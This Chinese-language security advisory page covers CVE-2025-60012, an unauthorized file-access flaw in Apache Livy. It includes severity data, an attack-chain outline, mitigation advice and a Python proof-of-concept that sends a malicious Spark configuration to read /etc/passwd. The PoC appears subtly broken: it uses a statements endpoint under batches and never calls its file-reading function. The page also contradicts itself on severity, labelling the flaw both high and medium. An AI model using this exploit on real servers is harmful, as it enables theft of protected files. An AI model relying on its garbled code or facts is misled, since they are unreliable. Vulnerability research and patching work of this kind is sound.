IPBUF安全漏洞报告
English
CVE-2025-60012 CVSS 6.3 中危

Apache Livy CVE-2025-60012 恶意配置导致未授权文件访问漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2025-60012
漏洞类型
访问控制/权限绕过
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Livy

相关标签

Apache Livy未授权文件访问权限绕过恶意配置CVE-2025-60012Apache Spark文件遍历访问控制

漏洞概述

CVE-2025-60012是Apache Livy中的一个高危安全漏洞,影响版本0.7.0和0.8.0。该漏洞由于恶意配置导致未授权文件访问,当Apache Livy连接到Apache Spark 3.1或更高版本时,攻击者可以通过发送包含恶意Spark配置值的请求,绕过文件访问权限限制,获取服务器上无权访问的文件内容。此漏洞的CVSS评分为6.3,属于中等严重程度。攻击者需要具备Livy REST或JDBC接口的访问权限,并能发送任意Spark配置值。成功利用此漏洞可能导致敏感信息泄露,包括配置文件、密钥、用户数据等。Apache官方已在0.9.0版本中修复此问题,建议受影响用户尽快升级。

技术细节

Apache Livy是一个提供REST API的Spark交互服务,允许用户通过HTTP接口提交Spark作业。在处理Spark配置参数时,Livy存在访问控制验证缺陷。当用户提交包含特定Spark配置值(如spark.hadoop.fs.*或spark.master相关配置)的请求时,系统未能正确验证用户对目标文件系统的访问权限。攻击者可以通过构造恶意配置,如指定一个受保护的HDFS路径或本地文件系统路径作为spark.hadoop.fs.defaultFS值,Livy会使用该配置执行文件操作,从而绕过正常的权限检查。具体来说,攻击者利用Spark 3.1+版本支持的配置参数,诱使Livy使用攻击者控制的文件系统配置执行操作,实现对目标文件的读取。此漏洞的根本原因在于Livy对用户提供的Spark配置值缺乏严格的过滤和权限验证机制,过于信任用户输入。

攻击链分析

STEP 1
1
攻击者获取Apache Livy REST或JDBC接口访问权限
STEP 2
2
攻击者构造包含恶意Spark配置值的请求,指定目标文件路径
STEP 3
3
Livy服务器接收请求,未正确验证用户对目标文件的访问权限
STEP 4
4
使用攻击者控制的配置创建Spark会话并执行文件操作
STEP 5
5
成功读取目标文件内容,实现未授权文件访问和信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-60012 PoC - Apache Livy Unauthorized File Access # Target: Apache Livy 0.7.0/0.8.0 with Spark 3.1+ def exploit_livy(target_url, file_path): """ Exploit malicious configuration leading to unauthorized file access """ # Malicious Spark configuration to access arbitrary files payload = { "file": "file:///" + file_path, "conf": { "spark.hadoop.fs.defaultFS": "file:///", "spark.master": "local[*]" } } try: # Create new session with malicious config response = requests.post( f"{target_url}/batches", json=payload, headers={"Content-Type": "application/json"}, timeout=30 ) if response.status_code == 200: result = response.json() print(f"[+] Batch created: {result.get('id')}") return result else: print(f"[-] Failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def read_file_via_livy(target_url, batch_id, file_path): """ Attempt to read file content through Livy session """ code = f"sc.textFile('{file_path}').collect()" response = requests.post( f"{target_url}/batches/{batch_id}/statements", json={"code": code}, headers={"Content-Type": "application/json"} ) return response.json() # Example usage if __name__ == "__main__": target = "http://target-server:8998" target_file = "/etc/passwd" print(f"[*] Targeting: {target}") print(f"[*] Attempting to access: {target_file}") batch = exploit_livy(target, target_file)

影响范围

Apache Livy 0.7.0
Apache Livy 0.8.0

防御指南

临时缓解措施
如果无法立即升级,可通过配置Livy的spark.hadoop属性白名单,限制用户可设置的配置项,禁止使用spark.hadoop.fs.*相关配置。同时在网络层限制Livy接口的访问来源,仅允许受信任的IP地址访问。对于必须暴露的场景,建议在Livy前增加API网关进行请求过滤和权限校验。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表